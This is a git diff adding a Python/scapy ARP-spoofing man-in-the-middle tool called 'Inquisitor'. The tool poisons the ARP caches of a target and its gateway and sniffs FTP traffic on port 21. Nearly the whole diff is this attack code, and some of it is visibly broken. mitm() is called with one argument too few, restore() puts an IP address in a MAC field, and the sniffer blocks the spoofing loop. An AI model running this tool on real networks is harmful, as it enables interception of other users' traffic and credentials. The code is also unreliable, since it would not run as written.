diff --git a/inquisitor/src/inquisitor.py b/inquisitor/src/inquisitor.py old mode 100644 new mode 100755 index be056bc..27e363c --- a/inquisitor/src/inquisitor.py +++ b/inquisitor/src/inquisitor.py @@ -1,8 +1,103 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- +import argparse +import signal +from scapy.all import get_if_hwaddr, conf, ARP, send, sniff + +def my_mac(): + """ + This function returns the MAC address of the current machine using scapy + """ + return get_if_hwaddr(conf.iface) + + +def mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac): + """ + # This function would contain the logic to spoof the target IP and MAC + """ + print(f"Spoofing {target_ip} ({target_mac}) via gateway {gateway_ip} ({gateway_mac})") + packet_victim = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=my_mac) + packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=my_mac) + + send(packet_victim, verbose=False, iface=conf.iface) + send(packet_gateway, verbose=False, iface=conf.iface) + + +def restore(target_ip, target_mac, gateway_ip, gateway_mac): + # This function would contain the logic to restore the original IP and MAC addresses + print(f"Restoring {target_ip} ({target_mac}) via gateway {gateway_ip} ({gateway_mac})") + packet_victim = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac) + packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_ip) + + send(packet_victim, verbose=False, iface=conf.iface) + send(packet_gateway, verbose=False, iface=conf.iface) + print("Restoration complete.") + +def ftp_packet_callback(packet): + """ + This function would handle FTP packets, if needed. + """ + if packet.haslayer('IP') and packet.haslayer('TCP'): + if packet['TCP'].dport == 21 or packet['TCP'].sport == 21: + print(f"FTP Packet: {packet.summary()}") + +def start_sniffing(interface=conf.iface): + """ + This function would start sniffing network packets. + """ + print("Starting to sniff packets...") + bpf = "tcp port 21" # Filter for FTP traffic + try: + sniff(iface=interface, filter=bpf, prn=ftp_packet_callback, store=0) + except Exception as e: + print(f"Error while sniffing: {e}") + + + +def run(target_ip, target_mac, gateway_ip, gateway_mac): + try: + while True: + mitm(target_ip, target_mac, gateway_ip, gateway_mac) + start_sniffing() + + except KeyboardInterrupt: + print("Stopping the Inquisitor...") + restore(target_ip, target_mac, gateway_ip, gateway_mac) + + except Exception as e: + print(f"An error occurred: {e}") + restore(target_ip, target_mac, gateway_ip, gateway_mac) + + def main(): - print("Hello, Inquisitor!") + parser = argparse.ArgumentParser(description="Inquisitor Command Line Interface") + parser.add_argument('--version', action='version', version='Inquisitor 1.0.0', + help='Show the version of Inquisitor') + parser.add_argument('target_ip', help='Target IP address') + parser.add_argument('target_mac', help='Target MAC address') + parser.add_argument('gateway_ip', help='Gateway IP address') + parser.add_argument('gateway_mac', help='Gateway MAC address') + args = parser.parse_args() + + # Set up signal handling for graceful shutdown + def signal_handler(sig, frame): + print("\nSignal received, stopping Inquisitor...") + restore(args.target_ip, args.target_mac, args.gateway_ip, args.gateway_mac) + exit(0) + + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + + # Here you would typically call the main functionality of Inquisitor + print(f"Target IP: {args.target_ip}") + print(f"Target MAC: {args.target_mac}") + print(f"Gateway IP: {args.gateway_ip}") + print(f"Gateway MAC: {args.gateway_mac}") + if( args.target_ip and args.target_mac and + args.gateway_ip and args.gateway_mac): + + run(args.target_ip, args.target_mac, args.gateway_ip, args.gateway_mac) if __name__ == "__main__": main() \ No newline at end of file